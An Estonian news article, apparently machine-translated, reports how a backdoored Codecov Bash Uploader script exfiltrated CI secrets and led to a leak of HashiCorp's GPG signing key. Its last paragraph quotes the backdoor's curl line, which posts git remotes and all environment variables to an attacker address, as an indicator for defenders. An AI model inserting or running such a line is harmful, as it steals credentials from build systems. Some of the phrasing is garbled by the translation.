Kahjuri koodi sisestamine Codecov'i skripti viis HashiCorpi PGP-võtme lekkeni

HashiCorp, tuntud avatud tööriistade nagu Vagrant, Packer, Nomad ja Terraform arendajana, teatas, et nende GPG-salat võtme lekkimine, mida kasutatakse digitaalsete allkirjade loomisel versioonide kinnitamiseks, on toimunud. Ründajad, kes pääsesid GPG-võtmele ligi, said potentsiaalselt varjata muudatusi HashiCorpi toodetes, kinnitades need õige digitaalse allkirjaga. Samuti teatas ettevõte, et läbi viidud auditi käigus ei leitud tõendeid selliste muudatuste tegemise katsete kohta.

Praegu on sotsialiseeritud GPG-võti tagasitehtud ja selle asemel on sisse viidud uus võti. Probleem puudutas ainult verifitseerimist SHA256SUM ja SHA256SUM.sig failide kaudu ning ei mõjutanud digitaalsete allkirjade loomist DEB ja RPM Linuxi pakettide jaoks, mis on saadetud läbi releases.hashicorp.com, samuti versioonide kinnitamise mehhanisme macOS ja Windows (AuthentiCode).

Lekked toimusid, kuna Codecov'i infrastruktuuris kasutati Bash Uploader skripti (codecov-bash), mis on mõeldud katvusraportite üleslaadimiseks pideva integreerimise süsteemidest. Codecov'i ettevõtte vastu toimunud rünnaku käigus, oli käesolev skript peidetud tagauksega, mille kaudu saadeti paroole ja krüpteerimisvõtmeid. server ründajatele.

Rünna võime saavutamiseks kasutati ründajate poolt viga Codecov'i Docker-konteineri loomise protsessis, mis lubas pääseda GCS (Google Cloud Storage) ligipääsudeni, mis on vajalikud Bash Uploader skripti muutmiseks, mille levitamine toimus aadressil codecov.io. Muudatused tehti juba 31. jaanuaril, mis jäid kaks kuud märkamatuks ja võimaldasid kurjategijatel pääseda ligi teabele, mis on salvestatud klientide pideva integreerimise süsteemide keskkondadesse. Lisatud kahjurehe koodi kaudu said ründajad teavet testitavate Git-repositoariumide ja nende keskkonnamuutujate kohta, sealhulgas ka neid, mis sisaldasid ligipääsutooteid, krüpteerimisvõtmeid ja paroole, mis edastatakse pideva integreerimise süsteemidesse, et luua juurdepääs rakenduste koodile, hoiustamisportaalidele ja teenustele nagu Amazon Web Services ja GitHub.

Lisaks otsekutsumisele kasutati Codecov Bash Uploaderit ka teiste üleslaadijate, näiteks Codecov-action (Github), Codecov-circleci-orb ja Codecov-bitrise-sammud, koostisosana, ning nende kasutajad on samuti probleemi all. Kõikidele Codecov-bashi ja seotud toodete kasutajatele soovitatakse läbi viia oma infrastruktuuri audit ning vahetada paroolid ja krüpteerimisvõtmed. Skripti tagatsioonide olemasolu saab kontrollida, otsides selles järgmist rida: curl -sm 0.5 -d «$(git remote -v)<<<<<< ENV $(env)» http://<rünnakute IP>/upload/v2 || true.

Allikas: opennet.ru